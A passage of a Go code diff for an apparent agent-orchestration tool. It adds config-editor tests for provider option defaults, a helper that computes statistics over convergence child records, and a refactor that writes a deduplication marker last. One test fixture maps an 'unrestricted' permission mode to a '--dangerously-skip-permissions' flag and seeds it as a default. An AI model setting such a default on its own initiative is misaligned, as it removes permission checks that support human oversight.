+				if atomic.AddInt32(&inFlight, 1) != 1 {
+					atomic.StoreInt32(&overlaps, 1)
+				}
+				time.Sleep(time.Millisecond)
+				atomic.AddInt32(&ran, 1)
+				atomic.AddInt32(&inFlight, -1)
+				return nil
+			})
+		}()
+	}
+	wg.Wait()
+
+	if overlaps != 0 {
+		t.Fatal("Editor.Do allowed concurrent callbacks to overlap; the lock did not serialize")
+	}
+	if ran != 32 {
+		t.Fatalf("ran = %d, want 32", ran)
+	}
+}
+
+// TestDo_PropagatesResult confirms Do surfaces the callback's error unchanged.
+func TestDo_PropagatesResult(t *testing.T) {
+	dir := t.TempDir()
+	path := writeTOML(t, dir, minimalCity())
+	ed := configedit.NewEditor(fsys.OSFS{}, path)
+
+	sentinel := errors.New("boom")
+	if err := ed.Do(func() error { return sentinel }); !errors.Is(err, sentinel) {
+		t.Fatalf("Do error = %v, want %v", err, sentinel)
+	}
+	if err := ed.Do(func() error { return nil }); err != nil {
+		t.Fatalf("Do(nil) = %v, want nil", err)
+	}
+}
+
 func TestEdit_ValidationFailure(t *testing.T) {
 	dir := t.TempDir()
 	path := writeTOML(t, dir, minimalCity())
@@ -2317,6 +2372,118 @@ func TestUpdateProvider_PreservesUnchangedFields(t *testing.T) {
 	}
 }
 
+// cityWithModelProvider returns a city.toml with a custom provider whose
+// options_schema declares model + permission_mode, so option_defaults for
+// those keys pass schema validation.
+func cityWithModelProvider() string {
+	return `[workspace]
+name = "test-city"
+
+[[agent]]
+name = "mayor"
+provider = "custom"
+
+[providers.custom]
+command = "custom-cli"
+
+[[providers.custom.options_schema]]
+key = "model"
+label = "Model"
+type = "select"
+default = "x"
+
+  [[providers.custom.options_schema.choices]]
+  value = "x"
+  label = "X"
+  flag_args = ["--model", "x"]
+
+  [[providers.custom.options_schema.choices]]
+  value = "y"
+  label = "Y"
+  flag_args = ["--model", "y"]
+
+[[providers.custom.options_schema]]
+key = "permission_mode"
+label = "Permission Mode"
+type = "select"
+default = "plan"
+
+  [[providers.custom.options_schema.choices]]
+  value = "plan"
+  label = "Plan"
+  flag_args = ["--permission-mode", "plan"]
+
+  [[providers.custom.options_schema.choices]]
+  value = "unrestricted"
+  label = "Unrestricted"
+  flag_args = ["--dangerously-skip-permissions"]
+`
+}
+
+// TestCreateProvider_OptionDefaults verifies a create with an option_defaults
+// map (e.g. model) round-trips to the provider's TOML.
+func TestCreateProvider_OptionDefaults(t *testing.T) {
+	dir := t.TempDir()
+	path := writeTOML(t, dir, minimalCity())
+	ed := configedit.NewEditor(fsys.OSFS{}, path)
+
+	spec := config.ProviderSpec{
+		Command: "custom-cli",
+		OptionsSchema: []config.ProviderOption{{
+			Key:   "model",
+			Label: "Model",
+			Type:  "select",
+			Choices: []config.OptionChoice{
+				{Value: "x", Label: "X", FlagArgs: []string{"--model", "x"}},
+				{Value: "y", Label: "Y", FlagArgs: []string{"--model", "y"}},
+			},
+		}},
+		OptionDefaults: map[string]string{"model": "x"},
+	}
+	if err := ed.CreateProvider("myprov", spec); err != nil {
+		t.Fatalf("CreateProvider: %v", err)
+	}
+
+	cfg := readTOML(t, path)
+	got := cfg.Providers["myprov"]
+	if got.OptionDefaults["model"] != "x" {
+		t.Errorf("OptionDefaults[model] = %q, want %q", got.OptionDefaults["model"], "x")
+	}
+}
+
+// TestUpdateProvider_OptionDefaultsMergeNotReplace verifies that updating
+// option_defaults merges keys: a model-only edit changes model while leaving
+// a pre-existing unrelated option-default key untouched.
+func TestUpdateProvider_OptionDefaultsMergeNotReplace(t *testing.T) {
+	dir := t.TempDir()
+	path := writeTOML(t, dir, cityWithModelProvider())
+	ed := configedit.NewEditor(fsys.OSFS{}, path)
+
+	// Seed a provider with two option defaults.
+	if err := ed.UpdateProvider("custom", configedit.ProviderUpdate{
+		OptionDefaults: map[string]string{"model": "x", "permission_mode": "unrestricted"},
+	}); err != nil {
+		t.Fatalf("seed UpdateProvider: %v", err)
+	}
+
+	// Edit only model; permission_mode must survive.
+	if err := ed.UpdateProvider("custom", configedit.ProviderUpdate{
+		OptionDefaults: map[string]string{"model": "y"},
+	}); err != nil {
+		t.Fatalf("UpdateProvider: %v", err)
+	}
+
+	cfg := readTOML(t, path)
+	got := cfg.Providers["custom"]
+	if got.OptionDefaults["model"] != "y" {
+		t.Errorf("OptionDefaults[model] = %q, want %q", got.OptionDefaults["model"], "y")
+	}
+	if got.OptionDefaults["permission_mode"] != "unrestricted" {
+		t.Errorf("OptionDefaults[permission_mode] = %q, want %q (merge, not replace)",
+			got.OptionDefaults["permission_mode"], "unrestricted")
+	}
+}
+
 func TestDeleteProvider(t *testing.T) {
 	dir := t.TempDir()
 	path := writeTOML(t, dir, cityWithProvider())
diff --git a/internal/convergence/childstats.go b/internal/convergence/childstats.go
new file mode 100644
index 0000000000..9ff8611e09
--- /dev/null
+++ b/internal/convergence/childstats.go
@@ -0,0 +1,78 @@
+package convergence
+
+import (
+	"strings"
+	"time"
+)
+
+// ChildStats holds the projections derived from a bead's children, filtered
+// to convergence wisps (children whose idempotency key carries the bead's
+// convergence prefix). It is computed once from a single Children() fetch so
+// the scan sites that used to re-derive these values independently share one
+// filter definition.
+//
+// The per-projection filters intentionally differ, and those differences are
+// load-bearing (they predate this consolidation):
+//
+//   - ClosedCount and CumulativeDur count every closed convergence child,
+//     including wisps whose iteration number does not parse.
+//   - HighestClosed and HighestOpen additionally require a parseable
+//     iteration number, since their whole purpose is to pick the
+//     highest-iteration wisp.
+type ChildStats struct {
+	// ClosedCount is the number of closed convergence wisps.
+	ClosedCount int
+	// CumulativeDur is the summed lifetime of every closed convergence wisp
+	// that has both a non-zero created and closed timestamp.
+	CumulativeDur time.Duration
+
+	// HighestClosed is the closed convergence wisp with the highest parseable
+	// iteration number. HighestClosedFound is false when none qualifies, and
+	// HighestClosedIter is then -1.
+	HighestClosed      BeadInfo
+	HighestClosedIter  int
+	HighestClosedFound bool
+
+	// HighestOpen is the open/in_progress convergence wisp with the highest
+	// parseable iteration number. HighestOpenFound is false when none
+	// qualifies, and HighestOpenIter is then -1.
+	HighestOpen      BeadInfo
+	HighestOpenIter  int
+	HighestOpenFound bool
+}
+
+// childStats derives every convergence child projection from a single
+// pre-fetched child list. It is pure: it performs no store I/O, so callers can
+// fetch Children() once per transition and read the fields they need.
+func childStats(children []BeadInfo, beadID string) ChildStats {
+	prefix := IdempotencyKeyPrefix(beadID)
+	stats := ChildStats{HighestClosedIter: -1, HighestOpenIter: -1}
+
+	for _, child := range children {
+		if !strings.HasPrefix(child.IdempotencyKey, prefix) {
+			continue
+		}
+		iter, iterOK := ParseIterationFromKey(child.IdempotencyKey)
+
+		switch child.Status {
+		case "closed":
+			stats.ClosedCount++
+			if !child.ClosedAt.IsZero() && !child.CreatedAt.IsZero() {
+				stats.CumulativeDur += child.ClosedAt.Sub(child.CreatedAt)
+			}
+			if iterOK && iter > stats.HighestClosedIter {
+				stats.HighestClosed = child
+				stats.HighestClosedIter = iter
+				stats.HighestClosedFound = true
+			}
+		case "open", "in_progress":
+			if iterOK && iter > stats.HighestOpenIter {
+				stats.HighestOpen = child
+				stats.HighestOpenIter = iter
+				stats.HighestOpenFound = true
+			}
+		}
+	}
+
+	return stats
+}
diff --git a/internal/convergence/childstats_test.go b/internal/convergence/childstats_test.go
new file mode 100644
index 0000000000..6e4d2bd863
--- /dev/null
+++ b/internal/convergence/childstats_test.go
@@ -0,0 +1,108 @@
+package convergence
+
+import (
+	"testing"
+	"time"
+)
+
+func TestChildStats(t *testing.T) {
+	const bead = "root-1"
+	base := time.Date(2026, 1, 1, 0, 0, 0, 0, time.UTC)
+
+	// prefixedNonParseable has the convergence prefix but an iteration segment
+	// that does not parse — it must count toward ClosedCount/CumulativeDur but
+	// never win HighestClosed. This is the intentional filter drift the
+	// consolidation preserves.
+	prefixedNonParseable := IdempotencyKeyPrefix(bead) + "abc"
+
+	tests := []struct {
+		name string
+		in   []BeadInfo
+		want ChildStats
+	}{
+		{
+			name: "empty",
+			in:   nil,
+			want: ChildStats{HighestClosedIter: -1, HighestOpenIter: -1},
+		},
+		{
+			name: "unrelated keys ignored",
+			in: []BeadInfo{
+				{ID: "x", Status: "closed", IdempotencyKey: "unrelated-key"},
+				{ID: "y", Status: "open", IdempotencyKey: "converge:other-bead:iter:1"},
+			},
+			want: ChildStats{HighestClosedIter: -1, HighestOpenIter: -1},
+		},
+		{
+			name: "closed count and highest closed",
+			in: []BeadInfo{
+				{ID: "w1", Status: "closed", IdempotencyKey: IdempotencyKey(bead, 1)},
+				{ID: "w3", Status: "closed", IdempotencyKey: IdempotencyKey(bead, 3)},
+				{ID: "w2", Status: "closed", IdempotencyKey: IdempotencyKey(bead, 2)},
+				{ID: "wo", Status: "in_progress", IdempotencyKey: IdempotencyKey(bead, 4)},
+			},
+			want: ChildStats{
+				ClosedCount:        3,
+				HighestClosed:      BeadInfo{ID: "w3", Status: "closed", IdempotencyKey: IdempotencyKey(bead, 3)},
+				HighestClosedIter:  3,
+				HighestClosedFound: true,
+				HighestOpen:        BeadInfo{ID: "wo", Status: "in_progress", IdempotencyKey: IdempotencyKey(bead, 4)},
+				HighestOpenIter:    4,
+				HighestOpenFound:   true,
+			},
+		},
+		{
+			name: "closed without parseable iteration counts but does not win highest",
+			in: []BeadInfo{
+				{ID: "w1", Status: "closed", IdempotencyKey: IdempotencyKey(bead, 1)},
+				{ID: "bad", Status: "closed", IdempotencyKey: prefixedNonParseable},
+			},
+			want: ChildStats{
+				ClosedCount:        2,
+				HighestClosed:      BeadInfo{ID: "w1", Status: "closed", IdempotencyKey: IdempotencyKey(bead, 1)},
+				HighestClosedIter:  1,
+				HighestClosedFound: true,
+				HighestOpenIter:    -1,
+			},
+		},
+		{
+			name: "cumulative duration skips zero timestamps",
+			in: []BeadInfo{
+				{ID: "w1", Status: "closed", IdempotencyKey: IdempotencyKey(bead, 1), CreatedAt: base, ClosedAt: base.Add(2 * time.Second)},
+				{ID: "w2", Status: "closed", IdempotencyKey: IdempotencyKey(bead, 2), CreatedAt: base}, // ClosedAt zero -> skipped
+				{ID: "w3", Status: "closed", IdempotencyKey: IdempotencyKey(bead, 3), ClosedAt: base},  // CreatedAt zero -> skipped
+			},
+			want: ChildStats{
+				ClosedCount:        3,
+				CumulativeDur:      2 * time.Second,
+				HighestClosed:      BeadInfo{ID: "w3", Status: "closed", IdempotencyKey: IdempotencyKey(bead, 3), ClosedAt: base},
+				HighestClosedIter:  3,
+				HighestClosedFound: true,
+				HighestOpenIter:    -1,
+			},
+		},
+		{
+			name: "highest open picks max across open and in_progress",
+			in: []BeadInfo{
+				{ID: "o1", Status: "open", IdempotencyKey: IdempotencyKey(bead, 5)},
+				{ID: "o2", Status: "in_progress", IdempotencyKey: IdempotencyKey(bead, 7)},
+				{ID: "o3", Status: "open", IdempotencyKey: IdempotencyKey(bead, 6)},
+			},
+			want: ChildStats{
+				HighestClosedIter: -1,
+				HighestOpen:       BeadInfo{ID: "o2", Status: "in_progress", IdempotencyKey: IdempotencyKey(bead, 7)},
+				HighestOpenIter:   7,
+				HighestOpenFound:  true,
+			},
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			got := childStats(tt.in, bead)
+			if got != tt.want {
+				t.Errorf("childStats() =\n  %+v\nwant\n  %+v", got, tt.want)
+			}
+		})
+	}
+}
diff --git a/internal/convergence/handler.go b/internal/convergence/handler.go
index cdb9914ac3..17ec91db60 100644
--- a/internal/convergence/handler.go
+++ b/internal/convergence/handler.go
@@ -435,21 +435,17 @@ func (h *Handler) transitionToWaitingManual(
 	}
 	h.emitEvent(EventIteration, EventIDIteration(rootBeadID, iteration), rootBeadID, iterPayload)
 
-	// Step 9: Commit point — write state changes.
-	// Write last_processed_wisp LAST (write ordering contract):
-	// it is the dedup/idempotency marker — if the process crashes before
-	// this write, recovery re-processes this wisp rather than skipping it.
-	if err := h.Store.SetMetadata(rootBeadID, FieldActiveWisp, ""); err != nil {
-		return HandlerResult{}, fmt.Errorf("clearing active wisp: %w", err)
-	}
-	if err := h.Store.SetMetadata(rootBeadID, FieldWaitingReason, reason); err != nil {
-		return HandlerResult{}, fmt.Errorf("setting waiting reason: %w", err)
-	}
-	if err := h.Store.SetMetadata(rootBeadID, FieldState, StateWaitingManual); err != nil {
-		return HandlerResult{}, fmt.Errorf("setting state to waiting_manual: %w", err)
-	}
-	if err := h.Store.SetMetadata(rootBeadID, FieldLastProcessedWisp, wispID); err != nil {
-		return HandlerResult{}, fmt.Errorf("setting last processed wisp: %w", err)
+	// Step 9: Commit point — write state changes, dedup marker LAST.
+	if err := h.commit(rootBeadID,
+		[]metaWrite{
+			{FieldActiveWisp, "", "clearing active wisp"},
+			{FieldWaitingReason, reason, "setting waiting reason"},
+			{FieldState, StateWaitingManual, "setting state to waiting_manual"},
+		},
+		nil,
+		metaWrite{FieldLastProcessedWisp, wispID, "setting last processed wisp"},
+	); err != nil {
+		return HandlerResult{}, err
 	}
 
 	// Emit ConvergenceWaitingManual event.
@@ -552,13 +548,15 @@ func (h *Handler) iterate(
 	}
 	h.emitEvent(EventIteration, EventIDIteration(rootBeadID, iteration), rootBeadID, iterPayload)
 
-	// Step 9: Commit point.
-	// Write last_processed_wisp LAST — it is the dedup marker.
-	if err := h.Store.SetMetadata(rootBeadID, FieldActiveWisp, nextWispID); err != nil {
-		return HandlerResult{}, fmt.Errorf("setting active wisp: %w", err)
-	}
-	if err := h.Store.SetMetadata(rootBeadID, FieldLastProcessedWisp, wispID); err != nil {
-		return HandlerResult{}, fmt.Errorf("setting last processed wisp: %w", err)
+	// Step 9: Commit point — active wisp then dedup marker LAST.
+	if err := h.commit(rootBeadID,
+		[]metaWrite{
+			{FieldActiveWisp, nextWispID, "setting active wisp"},
+		},
+		nil,
+		metaWrite{FieldLastProcessedWisp, wispID, "setting last processed wisp"},
+	); err != nil {
+		return HandlerResult{}, err
 	}
 	// Clear pending_next_wisp after the dedup marker commits. If this best-effort
 	// cleanup fails, validPendingNextWisp will self-heal on the next entry.
@@ -616,15 +614,16 @@ func (h *Handler) transitionToWaitingTrigger(
 	}
 	h.emitEvent(EventIteration, EventIDIteration(rootBeadID, iteration), rootBeadID, iterPayload)
 
-	// Step 9: Commit point. Write last_processed_wisp LAST (dedup marker).
-	if err := h.Store.SetMetadata(rootBeadID, FieldActiveWisp, ""); err != nil {
-		return HandlerResult{}, fmt.Errorf("clearing active wisp: %w", err)
-	}
-	if err := h.Store.SetMetadata(rootBeadID, FieldState, StateWaitingTrigger); err != nil {
-		return HandlerResult{}, fmt.Errorf("setting state to waiting_trigger: %w", err)
-	}
-	if err := h.Store.SetMetadata(rootBeadID, FieldLastProcessedWisp, wispID); err != nil {
-		return HandlerResult{}, fmt.Errorf("setting last processed wisp: %w", err)
+	// Step 9: Commit point — clear active wisp, set state, dedup marker LAST.
+	if err := h.commit(rootBeadID,
+		[]metaWrite{
+			{FieldActiveWisp, "", "clearing active wisp"},
+			{FieldState, StateWaitingTrigger, "setting state to waiting_trigger"},
+		},
+		nil,
+		metaWrite{FieldLastProcessedWisp, wispID, "setting last processed wisp"},
+	); err != nil {
+		return HandlerResult{}, err
 	}
 
 	return HandlerResult{
@@ -685,22 +684,23 @@ func (h *Handler) terminate(
 	h.emitEvent(EventTerminated, EventIDTerminated(rootBeadID), rootBeadID, termPayload)
 
 	// Step 9: Commit point.
-	// Write terminal_reason and terminal_actor BEFORE state=terminated,
-	// then last_processed_wisp LAST — it is the dedup marker.
-	if err := h.Store.SetMetadata(rootBeadID, FieldTerminalReason, reason); err != nil {
-		return HandlerResult{}, fmt.Errorf("setting terminal reason: %w", err)
-	}
-	if err := h.Store.SetMetadata(rootBeadID, FieldTerminalActor, actor); err != nil {
-		return HandlerResult{}, fmt.Errorf("setting terminal actor: %w", err)
-	}
-	if err := h.Store.SetMetadata(rootBeadID, FieldState, StateTerminated); err != nil {
-		return HandlerResult{}, fmt.Errorf("setting state to terminated: %w", err)
-	}
-	if err := h.Store.CloseBead(rootBeadID, CloseReasonHandlerRoot); err != nil {
-		return HandlerResult{}, fmt.Errorf("closing root bead: %w", err)
-	}
-	if err := h.Store.SetMetadata(rootBeadID, FieldLastProcessedWisp, wispID); err != nil {
-		return HandlerResult{}, fmt.Errorf("setting last processed wisp: %w", err)
+	// Write terminal_reason and terminal_actor BEFORE state=terminated, close
+	// the root bead, then last_processed_wisp LAST — it is the dedup marker.
+	if err := h.commit(rootBeadID,
+		[]metaWrite{
+			{FieldTerminalReason, reason, "setting terminal reason"},
+			{FieldTerminalActor, actor, "setting terminal actor"},
+			{FieldState, StateTerminated, "setting state to terminated"},
+		},
+		func() error {
+			if err := h.Store.CloseBead(rootBeadID, CloseReasonHandlerRoot); err != nil {
+				return fmt.Errorf("closing root bead: %w", err)
+			}
+			return nil
+		},
+		metaWrite{FieldLastProcessedWisp, wispID, "setting last processed wisp"},
+	); err != nil {
+		return HandlerResult{}, err
 	}
 
 	return HandlerResult{
@@ -770,41 +770,68 @@ func (h *Handler) evaluateGate(
 	}
 }
 
+// metaWrite is a single root-bead metadata assignment applied by commit.
+// desc supplies the error context wrapped around a store failure for that write.
+type metaWrite struct {
+	key, value, desc string
+}
+
+// commit applies a convergence state transition to the root bead, writing the
+// dedup marker LAST. The non-marker writes are applied in order; then preMarker
+// (if non-nil) runs — used to emit critical events and close the root bead
+// before the marker commits; then the marker is written, unless its value is
+// empty (callers that only conditionally stamp the marker pass "").
+//
+// The marker is a dedicated trailing parameter rather than an entry in writes,
+// which makes the "dedup marker written last" ordering contract unrepresentable
+// to violate at a call site: a crash before the marker commits re-processes the
+// wisp instead of skipping it, preserving replay-idempotency.
+func (h *Handler) commit(rootID string, writes []metaWrite, preMarker func() error, marker metaWrite) error {
+	for _, w := range writes {
+		if err := h.Store.SetMetadata(rootID, w.key, w.value); err != nil {
+			return fmt.Errorf("%s: %w", w.desc, err)
+		}
+	}
+	if preMarker != nil {
+		if err := preMarker(); err != nil {
+			return err
+		}
+	}
+	if marker.value == "" {
+		return nil
+	}
+	if err := h.Store.SetMetadata(rootID, marker.key, marker.value); err != nil {
+		return fmt.Errorf("%s: %w", marker.desc, err)
+	}
+	return nil
+}
+
 // persistGateOutcome writes gate results to bead metadata (step 5).
 // Persists the full result for replay fidelity: stdout, stderr, duration,
 // and truncated flag are needed to reconstruct event payloads after crash recovery.
+// gate_outcome_wisp is the idempotency marker and is written LAST via commit.
 func (h *Handler) persistGateOutcome(rootBeadID, wispID string, result GateResult) error {
-	if err := h.Store.SetMetadata(rootBeadID, FieldGateOutcome, result.Outcome); err != nil {
-		return err
-	}
 	exitCode := ""
 	if result.ExitCode != nil {
 		exitCode = EncodeInt(*result.ExitCode)
 	}
-	if err := h.Store.SetMetadata(rootBeadID, FieldGateExitCode, exitCode); err != nil {
-		return err
-	}
-	if err := h.Store.SetMetadata(rootBeadID, FieldGateRetryCount, EncodeInt(result.RetryCount)); err != nil {
-		return err
-	}
-	if err := h.Store.SetMetadata(rootBeadID, FieldGateStdout, result.Stdout); err != nil {
-		return err
-	}
-	if err := h.Store.SetMetadata(rootBeadID, FieldGateStderr, result.Stderr); err != nil {
-		return err
-	}
-	if err := h.Store.SetMetadata(rootBeadID, FieldGateDurationMs, strconv.FormatInt(result.Duration.Milliseconds(), 10)); err != nil {
-		return err
-	}
 	truncated := ""
 	if result.Truncated {
 		truncated = "true"
 	}
-	if err := h.Store.SetMetadata(rootBeadID, FieldGateTruncated, truncated); err != nil {
-		return err
-	}
-	// Write gate_outcome_wisp LAST — this is the idempotency marker.
-	return h.Store.SetMetadata(rootBeadID, FieldGateOutcomeWisp, wispID)
+	return h.commit(rootBeadID,
+		[]metaWrite{
+			{FieldGateOutcome, result.Outcome, "setting gate outcome"},
+			{FieldGateExitCode, exitCode, "setting gate exit code"},
+			{FieldGateRetryCount, EncodeInt(result.RetryCount), "setting gate retry count"},
+			{FieldGateStdout, result.Stdout, "setting gate stdout"},
+			{FieldGateStderr, result.Stderr, "setting gate stderr"},
+			{FieldGateDurationMs, strconv.FormatInt(result.Duration.Milliseconds(), 10), "setting gate duration"},
+			{FieldGateTruncated, truncated, "setting gate truncated"},
+		},
+		nil,
+		metaWrite{FieldGateOutcomeWisp, wispID, "setting gate outcome wisp"},
+	)
 }
 
 // deriveIterationCount counts closed child wisps with convergence idempotency
@@ -814,14 +841,7 @@ func (h *Handler) deriveIterationCount(rootBeadID string) (int, error) {
 	if err != nil {
 		return 0, err
 	}
-	prefix := IdempotencyKeyPrefix(rootBeadID)
-	count := 0
-	for _, child := range children {
-		if strings.HasPrefix(child.IdempotencyKey, prefix) && child.Status == "closed" {
-			count++
-		}
-	}
-	return count, nil
+	return childStats(children, rootBeadID).ClosedCount, nil
 }
 
 // computeDurations computes iteration and cumulative durations.
@@ -839,14 +859,7 @@ func (h *Handler) computeDurations(rootBeadID, wispID string) (iterDur, cumDur t
 	if err != nil {
 		return iterDur, 0
 	}
-	prefix := IdempotencyKeyPrefix(rootBeadID)
-	for _, child := range children {
-		if strings.HasPrefix(child.IdempotencyKey, prefix) && child.Status == "closed" &&
-			!child.ClosedAt.IsZero() && !child.CreatedAt.IsZero() {
-			cumDur += child.ClosedAt.Sub(child.CreatedAt)
-		}
-	}
-	return iterDur, cumDur
+	return iterDur, childStats(children, rootBeadID).CumulativeDur
 }
 
 // emitEvent emits a convergence event through the EventEmitter.
diff --git a/internal/convergence/handler_test.go b/internal/convergence/handler_test.go
index 455eb26a73..cbc86dab36 100644
--- a/internal/convergence/handler_test.go
+++ b/internal/convergence/handler_test.go
@@ -38,6 +38,10 @@ type fakeStore struct {
 	// enabling tests to verify write ordering contracts.
 	WriteLog []string
 
+	// SetMetadataErrFunc, when non-nil, is consulted before each SetMetadata
+	// write; a non-nil return fails the write (nothing is recorded or stored).
+	SetMetadataErrFunc func(key string) error
+
 	ActivatedWispIDs []string
 }
 
@@ -99,6 +103,11 @@ func (s *fakeStore) GetMetadata(id string) (map[string]string, error) {
 }
 
 func (s *fakeStore) SetMetadata(id, key, value string) error {
+	if s.SetMetadataErrFunc != nil {
+		if err := s.SetMetadataErrFunc(key); err != nil {
+			return err
+		}
+	}
 	s.mu.Lock()
 	defer s.mu.Unlock()
 	rec, ok := s.beads[id]
@@ -950,6 +959,128 @@ func TestHandleWispClosed_WriteOrdering_WaitingManualLastProcessedWispLast(t *te
 	}
 }
 
+func TestCommit_MarkerWrittenLast(t *testing.T) {
+	writes := []metaWrite{
+		{FieldActiveWisp, "", "clearing active wisp"},
+		{FieldState, StateWaitingManual, "setting state"},
+	}
+
+	tests := []struct {
+		name      string
+		marker    metaWrite
+		preMarker func(recorded *[]string) func() error
+		wantOrder []string
+	}{
+		{
+			name:      "marker after writes",
+			marker:    metaWrite{FieldLastProcessedWisp, "wisp-iter-1", "setting last processed wisp"},
+			wantOrder: []string{FieldActiveWisp, FieldState, FieldLastProcessedWisp},
+		},
+		{
+			name:      "empty marker is skipped",
+			marker:    metaWrite{FieldLastProcessedWisp, "", "setting last processed wisp"},
+			wantOrder: []string{FieldActiveWisp, FieldState},
+		},
+		{
+			name:   "preMarker runs after writes and before marker",
+			marker: metaWrite{FieldLastProcessedWisp, "wisp-iter-1", "setting last processed wisp"},
+			preMarker: func(recorded *[]string) func() error {
+				return func() error {
+					*recorded = append(*recorded, "pre-marker")
+					return nil
+				}
+			},
+			wantOrder: []string{FieldActiveWisp, FieldState, "pre-marker", FieldLastProcessedWisp},
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			store := newFakeStore()
+			store.addBead("root-1", "in_progress", "", "", nil)
+			h := &Handler{Store: store}
+
+			var recorded []string
+			var pre func() error
+			if tt.preMarker != nil {
+				// Bridge WriteLog and the pre-marker sentinel into one order slice.
+				pre = func() error {
+					recorded = append(recorded, store.WriteLog...)
+					store.WriteLog = nil
+					return tt.preMarker(&recorded)()
+				}
+			}
+
+			if err := h.commit("root-1", writes, pre, tt.marker); err != nil {
+				t.Fatalf("commit returned error: %v", err)
+			}
+			recorded = append(recorded, store.WriteLog...)
+
+			if len(recorded) != len(tt.wantOrder) {
+				t.Fatalf("write order = %v, want %v", recorded, tt.wantOrder)
+			}
+			for i := range tt.wantOrder {
+				if recorded[i] != tt.wantOrder[i] {
+					t.Errorf("write order = %v, want %v", recorded, tt.wantOrder)
+					break
+				}
+			}
+		})
+	}
+}
+
+func TestCommit_WriteErrorShortCircuitsMarker(t *testing.T) {
+	store := newFakeStore()
+	store.addBead("root-1", "in_progress", "", "", nil)
+	store.SetMetadataErrFunc = func(key string) error {
+		if key == FieldState {
+			return fmt.Errorf("boom")
+		}
+		return nil
+	}
+	h := &Handler{Store: store}
+
+	err := h.commit("root-1",
+		[]metaWrite{
+			{FieldActiveWisp, "", "clearing active wisp"},
+			{FieldState, StateWaitingManual, "setting state"},
+		},
+		nil,
+		metaWrite{FieldLastProcessedWisp, "wisp-iter-1", "setting last processed wisp"},
+	)
+	if err == nil {
+		t.Fatal("commit should return an error when a write fails")
+	}
+	if !contains(err.Error(), "setting state") {
+		t.Errorf("error %q should carry the failing write's desc", err.Error())
+	}
+	for _, key := range store.WriteLog {
+		if key == FieldLastProcessedWisp {
+			t.Fatal("dedup marker must not be written after an earlier write fails")
+		}
+	}
+}
+
+func TestCommit_PreMarkerErrorShortCircuitsMarker(t *testing.T) {
+	store := newFakeStore()
+	store.addBead("root-1", "in_progress", "", "", nil)
+	h := &Handler{Store: store}
+
+	err := h.commit("root-1",
+		[]metaWrite{{FieldState, StateTerminated, "setting state"}},
+		func() error { return fmt.Errorf("close failed") },
+		metaWrite{FieldLastProcessedWisp, "wisp-iter-1", "setting last processed wisp"},
+	)
+	if err == nil {
+		t.Fatal("commit should propagate a preMarker error")
+	}
+	for _, key := range store.WriteLog {
+		if key == FieldLastProcessedWisp {
+			t.Fatal("dedup marker must not be written when preMarker fails")
+		}
+	}
+}
+
 func TestHandleWispClosed_EventPayloads(t *testing.T) {
 	handler, store, emitter := setupBasicHandler(t, map[string]string{
 		FieldGateOutcomeWisp:  "wisp-iter-1",
diff --git a/internal/convergence/manual.go b/internal/convergence/manual.go
index 733d68569e..7e13cabede 100644
--- a/internal/convergence/manual.go
+++ b/internal/convergence/manual.go
@@ -4,7 +4,6 @@ import (
 	"context"
 	"errors"
 	"fmt"
-	"strings"
 
 	"github.com/gastownhall/gascity/internal/beads"
 )
@@ -59,22 +58,6 @@ func (h *Handler) ApproveHandler(_ context.Context, beadID, username, _ string)
 	// Compute cumulative duration for terminated event.
 	_, cumDur := h.computeDurations(beadID, eventWispID)
 
-	// Write ordering: terminal_reason, terminal_actor, clear waiting_reason,
-	// then state=terminated, then EventTerminated (TierCritical, before CloseBead),
-	// then CloseBead, then ManualApprove (TierBestEffort), then last_processed_wisp LAST.
-	if err := h.Store.SetMetadata(beadID, FieldTerminalReason, TerminalApproved); err != nil {
-		return HandlerResult{}, fmt.Errorf("setting terminal reason: %w", err)
-	}
-	if err := h.Store.SetMetadata(beadID, FieldTerminalActor, actor); err != nil {
-		return HandlerResult{}, fmt.Errorf("setting terminal actor: %w", err)
-	}
-	if err := h.Store.SetMetadata(beadID, FieldWaitingReason, ""); err != nil {
-		return HandlerResult{}, fmt.Errorf("clearing waiting reason: %w", err)
-	}
-	if err := h.Store.SetMetadata(beadID, FieldState, StateTerminated); err != nil {
-		return HandlerResult{}, fmt.Errorf("setting state to terminated: %w", err)
-	}
-
 	// Emit EventTerminated BEFORE CloseBead — TierCritical requires at-least-once
 	// delivery, so it must be emitted while the bead is still open for reconciliation
 	// replay if the controller crashes before CloseBead completes.
@@ -85,12 +68,6 @@ func (h *Handler) ApproveHandler(_ context.Context, beadID, username, _ string)
 		Actor:                actor,
 		CumulativeDurationMs: cumDur.Milliseconds(),
 	}
-	h.emitEvent(EventTerminated, EventIDTerminated(beadID), beadID, termPayload)
-
-	if err := h.Store.CloseBead(beadID, CloseReasonManualApprove); err != nil {
-		return HandlerResult{}, fmt.Errorf("closing bead %q: %w", beadID, err)
-	}
-
 	// Emit ManualApprove AFTER CloseBead — TierBestEffort, fire-and-forget.
 	approvePayload := ManualActionPayload{
 		Actor:      actor,
@@ -99,13 +76,28 @@ func (h *Handler) ApproveHandler(_ context.Context, beadID, username, _ string)
 		Iteration:  iterationCount,
 		WispID:     NullableString(eventWispID),
 	}
-	h.emitEvent(EventManualApprove, EventIDManualApprove(beadID), beadID, approvePayload)
 
-	// last_processed_wisp LAST — dedup marker contract.
-	if lastProcessedWisp != "" {
-		if err := h.Store.SetMetadata(beadID, FieldLastProcessedWisp, lastProcessedWisp); err != nil {
-			return HandlerResult{}, fmt.Errorf("setting last processed wisp: %w", err)
-		}
+	// Write ordering: terminal_reason, terminal_actor, clear waiting_reason,
+	// then state=terminated, then EventTerminated (TierCritical, before CloseBead),
+	// then CloseBead, then ManualApprove (TierBestEffort), then last_processed_wisp LAST.
+	if err := h.commit(beadID,
+		[]metaWrite{
+			{FieldTerminalReason, TerminalApproved, "setting terminal reason"},
+			{FieldTerminalActor, actor, "setting terminal actor"},
+			{FieldWaitingReason, "", "clearing waiting reason"},
+			{FieldState, StateTerminated, "setting state to terminated"},
+		},
+		func() error {
+			h.emitEvent(EventTerminated, EventIDTerminated(beadID), beadID, termPayload)
+			if err := h.Store.CloseBead(beadID, CloseReasonManualApprove); err != nil {
+				return fmt.Errorf("closing bead %q: %w", beadID, err)
+			}
+			h.emitEvent(EventManualApprove, EventIDManualApprove(beadID), beadID, approvePayload)
+			return nil
+		},
+		metaWrite{FieldLastProcessedWisp, lastProcessedWisp, "setting last processed wisp"},
+	); err != nil {
+		return HandlerResult{}, err
 	}
 
 	return HandlerResult{
